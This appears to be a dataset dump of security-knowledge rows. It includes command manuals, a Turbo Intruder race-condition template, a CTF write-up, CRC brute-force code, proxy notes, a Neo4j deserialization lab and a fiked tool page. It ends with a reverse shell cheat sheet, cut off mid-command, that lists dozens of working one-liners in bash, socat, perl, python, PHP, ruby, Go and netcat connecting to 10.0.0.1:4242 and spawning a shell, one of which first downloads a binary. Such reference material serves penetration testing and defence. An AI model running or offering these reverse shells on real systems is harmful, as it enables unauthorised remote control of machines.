text
stringlengths
100
9.93M
category
stringclasses
11 values
mapfile === 从标准输入读取行并赋值到数组。 ## 概要 ```shell mapfile [-d delim] [-n count] [-O origin] [-s count] [-t] [-u fd] [-C callback] [-c quantum] [array] ``` ## 主要用途 - 从标准输入或文件描述符读取行并赋值到数组。 ## 选项 ```shell -d delim 将delim设为行分隔符,代替默认的换行符。 -n count 从标准输入中获取最多count行,如果count为零那么获取全部。 -O origin 从数组下标为origin的位置开始赋值,默认的下标为0。 -s count 跳过对前count行的读取。 -t 读取时移除行分隔符delim(默认为换行符)。 -u fd 从文件描述符fd中读取。 -C callback 每当读取了quantum行时,调用callback语句。 -c quantum 设定读取的行数为quantum。 如果使用-C时没有同时使用-c指定quantum的值,那么quantum默认为5000。 当callback语句执行时,将数组下一个要赋值的下标以及读取的行作为额外的参数传递给callback语句。 如果使用-O时没有提供起始位置,那么mapfile会在实际赋值之前清空该数组。 ``` ## 参数 array(可选):用于输出的数组名称。如果没有指定数组名称,那么会默认写入到变量名为MAPFILE的数组中。 ## 返回值 返回成功除非使用了非法选项、指定的数组是只读的、指定的数组不是下标数组。 ## 例子 ```shell # 常见的读取形式。 mapfile < source_file target_array cat source_file |mapfile target_array mapfile -u fd target_array # 只读取前5行。 mapfile < source_file -n 5 target_array # 跳过前5行。 mapfile < source_file -s 5 target_array # 在数组指定的下标开始赋值。 # 请注意:这样做不会清空该数组。 mapfile < source_file -O 2 target_array # 读取时设定行分隔符为tab。 # 注意,第二行的tab在终端需要用ctrl+v tab输入; mapfile < source_file -d $'\t' target_array mapfile < source_file -d ' ' target_array # 读取时移除行分隔符(tab)。 mapfile < source_file -d $'\t' -t target_array # 读取时移除行分隔符(换行符)。 mapfile < source_file -t target_array # 每读取2行,执行一次语句(在这里是echo)。 mapfile < source_file -C "echo CALLBACK:" -c 2 target_array # 遍历下标,依次显示数组的元素。 for i in ${!target_array[@]}; do printf "%s" ${target_array[i]} done ``` ### 注意 1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 2. bash内建命令readarray是mapfile的同义词。
sec-knowleage
# Race Condition > Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled by the framework, server, or programming language. ## Summary - [Race Condition](#race-condition) - [Summary](#summary) - [Tools](#tools) - [Turbo Intruder Examples](#turbo-intruder-examples) - [Turbo Intruder 2 Requests Examples](#turbo-intruder-2-requests-examples) - [References](#references) ## Tools * [Turbo Intruder - a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results.](https://github.com/PortSwigger/turbo-intruder) ## Turbo Intruder Examples 1. Send request to turbo intruder 2. Use this python code as a payload of the turbo intruder ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=30, pipeline=False ) for i in range(30): engine.queue(target.req, i) engine.queue(target.req, target.baseInput, gate='race1') engine.start(timeout=5) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` 3. Now set the external HTTP header x-request: %s - :warning: This is needed by the turbo intruder 4. Click "Attack" ## Turbo Intruder 2 Requests Examples This following template can use when use have to send race condition of request2 immediately after send a request1 when the window may only be a few milliseconds. ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100, pipeline=False ) request1 = ''' POST /target-URI-1 HTTP/1.1 Host: <REDACTED> Cookie: session=<REDACTED> parameterName=parameterValue ''' request2 = ''' GET /target-URI-2 HTTP/1.1 Host: <REDACTED> Cookie: session=<REDACTED> ''' engine.queue(request1, gate='race1') for i in range(30): engine.queue(request2, gate='race1') engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` ## References * [Race Condition allows to redeem multiple times gift cards which leads to free "money" - @muon4](https://hackerone.com/reports/759247) * [Turbo Intruder: Embracing the billion-request attack - James Kettle | 25 January 2019](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack) * [Race Condition Bug In Web App: A Use Case - Mandeep Jadon](https://medium.com/@ciph3r7r0ll/race-condition-bug-in-web-app-a-use-case-21fd4df71f0e)
sec-knowleage
blockdev === 从命令行调用区块设备控制程序 ## 补充说明 **blockdev命令** 在命令调用“ioxtls”函数,以实现对设备的控制。 ### 语法 ```shell blockdev(选项)(参数) ``` 选项 ```shell -V:打印版本号并退出; -q:安静模式; -v:详细信息模式; --setro:只读; --setrw:只写; --getro:打印只读状态,“1”表示只读,“0”表示非只读; --getss:打印扇区大小。通常为521; --flushbufs:刷新缓冲区; --rereadpt:重新读取分区表。 ``` ### 参数 设备文件名:指定要操作的磁盘的设备文件名。 ### 实例 设置设备为只读: ```shell blockdev --setro /dev/hda4 ``` 读取设备是否为只读: ```shell blockdev --getro /dev/hda4 ``` 设置设别为可读写: ```shell blockdev --setrw /dev/hda4 ```
sec-knowleage
## Jit in my pants (reversing, 3 points, 38 solves) Because reversing an obfuscated jit'ed virtual machine for 3 points is fun! In this task we got an ELF binary. Looking at it's disassembly was really hard - lots of obfuscated code was put there - I thought that for 3 points we were supposed to use something easier. Tracing the binary, we notice a lot of `gettimeofday` calls. This was a function checking current time - something which should not be present in legitimate key checking code. I created a simple replacement function (`tofd.c`), which I then LD_PRELOAD'ed to achieve deterministic execution. In my solution, I used instruction counting to get the flag. The idea is, that the code checks flag characters one by one, exitting early if a character is wrong. We can exploit this - when we supply a good prefix of the flag, the binary will execute slightly longer than with a wrong one. Using `doit.py` and Intel's pin, we brute forced the solution one char at a time in around an hour (this could take shorter time, but I wanted to stay on the safer side and used `string.printable` as the character set).
sec-knowleage
#include <cstdio> #include <cstdint> #include <map> using namespace std; char s[] = " .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::. "; uint64_t poly = 0xC96C5795D7870F42; uint64_t table[256]; void generate_table() { for(int i=0; i<256; ++i) { uint64_t crc = i; for(unsigned int j=0; j<8; ++j) { // is current coefficient set? if(crc & 1) { // yes, then assume it gets zero'd (by implied x^64 coefficient of dividend) crc >>= 1; // and add rest of the divisor crc ^= poly; } else { // no? then move to next coefficient crc >>= 1; } } table[i] = crc; } } uint64_t calculate_crc(uint8_t* stream, unsigned int n, uint64_t crc) { for(unsigned int i=0; i<n; ++i) { uint8_t index = stream[i] ^ crc; uint64_t lookup = table[index]; crc >>= 8; crc ^= lookup; } return crc; } char buf1[100]; char buf2[100]; uint64_t crc; map<int, map<int, char>> hints = { }; char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; #include <string.h> int main() { generate_table(); FILE* f = fopen("FLAGZ.DAT", "rb"); for (int row=0; row<65; row++) { fread(buf2, 80, 1, f); fread(&crc, 8, 1, f); if (row < 53) continue; if (row == 53) { strcpy(buf1, ": :"); continue; } for (int i=0; i<80; i++) { buf1[i] ^= buf2[i]; } for (auto& hint: hints[row]) { buf1[hint.first] = hint.second; } int found = 0; int cnt=0; #define BRU1() for (int i=iprev; i<80 && !found; i++) for(int j=32; j<128; j++) { int old=buf1[i]; buf1[i] = j; int iprev = i; #define BRU() for (int i=iprev+1; i<=76 && !found; i++) for(char* p = charset; *p; p++) { int old=buf1[i]; buf1[i] = *p; int iprev = i; #define BRE() buf1[i] = old; } E0: int iprev = 0; BRU1() uint64_t c = calculate_crc((uint8_t*)buf1, 80, 0); if (c == crc) { found = true; cnt = 1; goto E1; } BRE() E1: if (!found) { printf("Help! (row %d)\n", row); printf("%s\n", buf1); for (int i=0; i<80; i++){ printf("%d", i/10); } printf("\n"); for (int i=0; i<80; i++){ printf("%d", i%10); } printf("\n"); int col; char bu[10]; scanf("%d %s", &col, bu); if(bu[0] == 's' && bu[1] == 'p') bu[0] = ' '; if(bu[0] == 'e' && bu[1] == 'x') goto E6; buf1[col] = bu[0]; goto E0; } E6: iprev = 70; uint64_t c1 = calculate_crc((uint8_t*)buf1, 70, 0); BRU() printf("%c\n", *p); BRU() uint64_t c = calculate_crc((uint8_t*)buf1+70, 10, c1); printf("..%s %lx\n", buf1, c); BRU() BRU() BRU() BRU() uint64_t c = calculate_crc((uint8_t*)buf1+70, 10, c1); if (c == crc) { found = true; cnt = 2; goto E7; } BRE() BRE() BRE() BRE() BRE() BRE() E7: if (!found) printf(":<\n"); printf("%s ", buf1); printf("%d ", cnt); uint64_t c = calculate_crc((uint8_t*)buf1, 80, 0); printf("\t%lx %lx\n", c, crc); } }
sec-knowleage
# 代理技术相关研究 计划研究时间:5天 ## 0. 前言 代理技术本质上是关于**IP资源**的对抗。IP资源作为黑灰产基础设施之一, 也是企业进行安全防护的一个重要切入点。本篇从研究代理技术出发,计划依次整理以下几个部分: - 代理技术 - 黑灰产常用解决方案 - 对抗手段 - 风控相关 - 安全攻防相关 - 体系建设思路 - 现有思路整理 - 发现思路 - 分类思路 - 情报体系 - 指标计算体系 - 展望 ## 1. 代理技术 ### 1.1 按匿名程度区分 以下是按代理技术的匿名程度作分类,这里我们回顾一下HTTP请求头中的三个参数: - REMOTE_ADDR - 客户端跟服务器“握手”时候的IP,即访问客户端的 IP 地址 - HTTP_VIA - 如果存在该信息, 则表明访问端主动承认其为代理服务器,数值即为代理服务器的IP - HTTP_X_FORWARDED_FOR - HTTP扩展头部,表明代理端的IP,可能存在,可伪造[1] #### 透明代理 透明代理,Transparent Proxies。 简单讲,就是被访问端能识别其为代理服务,且能识别真实IP。 > EMOTE_ADDR = ProxyIP,HTTP_VIA = ProxyIP,HTTP_X_FORWARDED_FOR = YourIP #### 普匿代理 普通匿名代理,Anonymous Proxies。 简单讲,就是被访问端识别其使用了代理服务,但隐藏了真实IP。 > REMOTE_ADDR = ProxyIP,HTTP_VIA = ProxyIP,HTTP_X_FORWARDED_FOR = ProxyIP #### 高匿代理 高级匿名代理,High Anonymity Proxies (Elite proxies)。 简单讲,就是被访问端不知道访问端使用了代理服务,也不知道其真实IP。 > REMOTE_ADDR = ProxyIP,HTTP_VIA = NULL,HTTP_X_FORWARDED_FOR = NULL #### 欺骗性代理 欺骗性代理,Distorting Proxies。 简单讲,就是告知被访问端使用了代理服务,但使用虚拟的随机IP代替真实IP,从而达到欺骗的效果。 > REMOTE_ADDR = ProxyIP,HTTP_VIA = ProxyIP,HTTP_X_FORWARDED_FOR = RandomIP ### 2. 按照使用技术区分 ### HTTP代理 ### Tor代理 ### 科学上网代理类 #### ShadowSocks #### V2ray #### Trojan ## 代理资源 请查看本文档的[《IP资源整理》](https://y1ng.org/TheRoadOfSO/0x2_%E9%BB%91%E7%81%B0%E4%BA%A7%E5%AF%B9%E6%8A%97/%3E%3E%3E%20%E5%9F%BA%E7%A1%80%E8%AE%BE%E6%96%BD/0x3_IP%E8%B5%84%E6%BA%90%E6%95%B4%E7%90%86/)篇章 ## References \[1] 如何取得wap和web用户的真实IP,[Albert陈凯](https://cloud.tencent.com/developer/user/1558124),https://cloud.tencent.com/developer/article/1350545
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "REINDEX" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME REINDEX \- 重建索引 .SH SYNOPSIS .sp .nf REINDEX { DATABASE | TABLE | INDEX } \fIname\fR [ FORCE ] .sp .fi .SH "DESCRIPTION 描述" .PP \fBREINDEX\fR 基于存储在表上的数据重建索引, 替换旧的索引拷贝。使用 REINDEX 有两个主要原因: .TP 0.2i \(bu 索引崩溃,并且不再包含有效的数据。尽管理论上这是不可能发生的, 但实际上索引会因为软件毛病或者硬件问题而崩溃。REINDEX 提供了一个恢复方法。 .TP 0.2i \(bu 要处理的索引包含大量无用的索引页未被回收。在某些情况下, 这个问题会发生 在 PostgreSQL 里面的 B-树索引上。REINDEX 提供了一个缩小索引空间消耗的方 法,它采用的方法是写一个不带无用索引页的新版本的索引。 参阅Section 21.2 ``Routine Indexing'' 获取更多信息。 .PP .SH "PARAMETERS 参数" .TP \fBDATABASE\fR 恢复一个声明了的数据库的所有系统索引。 不包含用户表上的索引。同样,除非在独立运行模式下,也会忽略在共享系统表上的索引(见下文)。 .TP \fBTABLE\fR 重新建立声明的表的所有索引。如果表有个从属的"TOAST"表,那么这个表也会重新索引。 .TP \fBINDEX\fR 重新建立声明了的索引。 .TP \fB\fIname\fB\fR 要重建的所声明的数据库/表/索引的名称。 表和索引名可以有模式修饰。 .TP \fBFORCE\fR 这是一个废弃的选项,如果声明,会被忽略。 .SH "NOTES 注意" .PP 如果你怀疑一个用户表上的索引崩溃了,你可以简单地重建该索引, 或者该表上地所有索引,使用 REINDEX INDEX 或者 REINDEX TABLE。 另外一个对付用户表索引崩溃的方法时删除然后重建它。如果你还要在表上进行一些维护动作, 可能这么做更好一些。REINDEX 在表上请求排他锁,而 CREATE INDEX 只是锁住写动作, 而不会锁住读。 .PP 如果你从一个崩溃的系统表索引上恢复,事情会更棘手一些。 这种情况下,系统必须不能使用任何有疑问的索引。 (实际上,在这种情况下,你可能发现服务器进程在启动之后马上就崩溃了, 因为依赖于崩溃了的索引。)要想安全恢复,服务器必须带着 -P 选项启动, 它禁止服务器在查找系统表的时候使用索引。 .PP 这么做个一个办法事停止 postmaster 然后带着 -P 命令行选项启动一个独立的 PostgreSQL 服务器。 然后,根据你希望恢复的程度,可以发出 REINDEX DATABASE,REINDEX TABLE,或者 REINDEX INDEX。 如果还有怀疑,使用 REINDEX DATABASE 选择重新构造数据库中全部的系统索引。 然后退出独立服务器会话并且重启普通的服务器。参阅 \fBpostgres\fR(1) 手册页获取有关如何与独立服务器交互的信息。 .PP 另外,一个普通的会话可以在其命令行选项里带着 -P 启动。 这么做的方法因不同的客户端而异,但是在所有基于 libpq 的客户端上, 我们都可以通过在启动客户端之前设置 PGOPTIONS 环境变量为 -P 来实现。 请注意尽管这个方法并不要求锁住其它客户端,但是禁止其它客户端连接受损的数据库, 直到完成修补应该事一个明智的选择。 .PP 如果怀疑任何共享的系统表的索引损坏((pg_database, pg_group,或者 pg_shadow), 那么必须用独立服务器的方式来修复它。REINDEX 不能在多用户环境下处理共享系统表。 .PP 除了共享系统表之外的所有索引,REINDEX 是抗崩溃并且是事务安全的。 REINDEX 对于共享的索引而言不是抗崩溃的,这就是为什么不允许在正常操作中这么使用的原因。 如果在重新对一个共享表进行索引的时候发生了崩溃,那么在纠正问题之前,就不可能重新启动普通的服务器。 (一个建立了一部分的共享索引的典型症状是"index is not a btree/索引不是 btree 索引"错误。) .PP 在 PostgreSQL 7.4 之前,REINDEX TABLE 并不自动处理 TOAST 表,因此这些表必须用独立的命令进行处理。这么做仍然可以,但是已经多余了。 .SH "EXAMPLES 例子" .PP 重建表 mytable 上的索引: .sp .nf REINDEX TABLE my_table; .sp .fi .PP 重建单个索引: .sp .nf REINDEX INDEX my_index; .sp .fi .PP 重建一个数据库上的所有系统索引,不管他们是否有效: .sp .nf $\fBexport PGOPTIONS="-P"\fR $\fBpsql broken_db\fR broken_db=> REINDEX DATABASE broken_db; broken_db=> \\q .sp .fi .SH "COMPATIBILITY 兼容性" .PP 在SQL 标准里没有 REINDEX。 .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# Neo4j Shell Server 反序列化漏洞(CVE-2021-34371) Neo4j是一个开源图数据库管理系统。 在Neo4j 3.4.18及以前,如果开启了Neo4j Shell接口,攻击者将可以通过RMI协议以未授权的身份调用任意方法,其中`setSessionVariable`方法存在反序列化漏洞。因为这个漏洞并非RMI反序列化,所以不受到Java版本的影响。 在Neo4j 3.5及之后的版本,Neo4j Shell被Cyber Shell替代。 参考链接: - https://www.exploit-db.com/exploits/50170 - https://github.com/mozilla/rhino/issues/520 ## 漏洞环境 如果你使用Linux或OSX系统,可以执行如下命令启动一个Neo4j 3.4.18: ``` TARGET_IP=<your-ip> docker compose up -d ``` 其中,环境变量`TARGET_IP`需要制定靶场环境的IP地址。 如果你是Windows系统,请直接修改`docker-compose.yml`,指定`TARGET_IP`环境变量的值。 服务启动后,访问`http://your-ip:7474`即可查看到Web管理页面,但我们需要攻击的是其1337端口,这个端口是Neo4j Shell端口,使用RMI协议通信。 ## 漏洞复现 使用[参考链接](https://www.exploit-db.com/exploits/50170)中的Java RMI客户端,集成基于Rhino的[Gadget](rhino_gadget/),发送RMI请求: ![](1.png) 可见,`touch /tmp/success5`已成功执行: ![](2.png)
sec-knowleage
# Fiked包描述 FakeIKEd简称fiked,是一个假的IKE守护进程。它支持足够的标准和思科扩展,可以以“semi MitM”的方式攻击常见不安全的基于IPsec身份验证设置的Cisco VPN PSK +XAUTH。Fiked可以模拟VPN网关的IKE响应程序,以捕获XAUTH登录凭据; 目前fiked并没有“full MitM”的客户端 **资料来源**:http://www.roe.ch/FakeIKEd [fiked主页](http://www.roe.ch/FakeIKEd)|[Kali fiked Repo](http://git.kali.org/gitweb/?p=packages/fiked.git;a=summary) - 作者:Daniel Roethlisberger - 许可证:GPLv2 ## fiked包中包含的工具 ### fiked-Cisco VPN攻击工具 ``` root@kali:〜#fiked -h 用法:fiked [-rdqhV] -g gw -k ID:PSK [-k ..] [-u用户] [-l文件] [-L文件] -r 使用原始套接字:forge ip src addr 匹配<网关>(禁用-u) -d 从tty分离并作为守护程序运行(说明-q) -q 静默模式,不记录任何东西到stdout -h 显示帮助和退出 -V 显示版本和退出 -g gw 模拟网关VPN地址 -ki:k 预共享密钥,亦称组密码,共享秘密,前缀为其组/密匙ID(第一个-k设置默认值) -u 用户 下降到一个非特权用户的权限 -l 文件 附加结果到凭证日志文件 -L 文件 verbous 记录为文件而不是stdout ``` ## fiked用法示例 ``` root@kali:~#即将推出 ``` [原文链接](http://tools.kali.org/sniffingspoofing/fiked)
sec-knowleage
# Reverse Shell Cheat Sheet ## Summary * [Tools](#tools) * [Reverse Shell](#reverse-shell) * [Awk](#awk) * [Automatic Reverse Shell Generator](#revshells) * [Bash TCP](#bash-tcp) * [Bash UDP](#bash-udp) * [C](#c) * [Dart](#dart) * [Golang](#golang) * [Groovy Alternative 1](#groovy-alternative-1) * [Groovy](#groovy) * [Java Alternative 1](#java-alternative-1) * [Java Alternative 2](#java-alternative-2) * [Java](#java) * [Lua](#lua) * [Ncat](#ncat) * [Netcat OpenBsd](#netcat-openbsd) * [Netcat BusyBox](#netcat-busybox) * [Netcat Traditional](#netcat-traditional) * [NodeJS](#nodejs) * [OpenSSL](#openssl) * [Perl](#perl) * [PHP](#php) * [Powershell](#powershell) * [Python](#python) * [Ruby](#ruby) * [Socat](#socat) * [Telnet](#telnet) * [War](#war) * [Meterpreter Shell](#meterpreter-shell) * [Windows Staged reverse TCP](#windows-staged-reverse-tcp) * [Windows Stageless reverse TCP](#windows-stageless-reverse-tcp) * [Linux Staged reverse TCP](#linux-staged-reverse-tcp) * [Linux Stageless reverse TCP](#linux-stageless-reverse-tcp) * [Other platforms](#other-platforms) * [Spawn TTY Shell](#spawn-tty-shell) * [References](#references) ## Tools - [reverse-shell-generator](https://www.revshells.com/) - Hosted Reverse Shell generator ([source](https://github.com/0dayCTF/reverse-shell-generator)) - [revshellgen](https://github.com/t0thkr1s/revshellgen) - CLI Reverse Shell generator ## Reverse Shell ### Bash TCP ```bash bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196 /bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1 ``` ### Bash UDP ```bash Victim: sh -i >& /dev/udp/10.0.0.1/4242 0>&1 Listener: nc -u -lvp 4242 ``` Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash ### Socat ```powershell user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242 user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242 ``` ```powershell user@victim$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242 ``` Static socat binary can be found at [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat) ### Perl ```perl perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' NOTE: Windows only perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` ### Python Linux only IPv4 ```python export RHOST="10.0.0.1";export RPORT=4242;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' ``` ```python python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' ``` ```python python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' ``` ```python python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())' ``` IPv4 (No Spaces) ```python python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' ``` ```python python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' ``` ```python python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())' ``` IPv4 (No Spaces, Shortened) ```python python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")' ``` ```python python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])' ``` ```python python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())' ``` IPv4 (No Spaces, Shortened Further) ```python python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")' ``` ```python python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])' ``` ```python python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())' ``` IPv6 ```python python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' ``` IPv6 (No Spaces) ```python python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' ``` IPv6 (No Spaces, Shortened) ```python python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")' ``` Windows only (Python2) ```powershell python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ``` Windows only (Python3) ```powershell python.exe -c "import socket,os,threading,subprocess as sp;p=sp.Popen(['cmd.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('10.0.0.1',4242));threading.Thread(target=exec,args=(\"while(True):o=os.read(p.stdout.fileno(),1024);s.send(o)\",globals()),daemon=True).start();threading.Thread(target=exec,args=(\"while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i)\",globals())).start()" ``` ### PHP ```bash php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;' php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");' ``` ```bash php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);' ``` ### Ruby ```ruby ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.0.0.1","4242");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}' NOTE: Windows only ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` ### Golang ```bash echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go ``` ### Netcat Traditional ```bash nc -e /bin/sh 10.0.0.1 4242 nc -e /bin/bash 10.0.0.1 4242 nc -c bash 10.0.0.1 4242 ``` ### Netcat OpenBsd ```bash rm -f /tmp/f;mkfifo /tmp/f;cat 